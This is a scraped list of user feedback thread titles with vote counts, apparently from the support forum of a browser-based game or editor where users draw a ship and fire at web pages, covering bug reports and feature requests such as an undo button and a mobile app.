  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  603 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  579 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  558 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  523 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  498 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  496 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  490 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  483 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  479 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  477 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  465 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  462 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  461 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  442 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  434 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  432 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree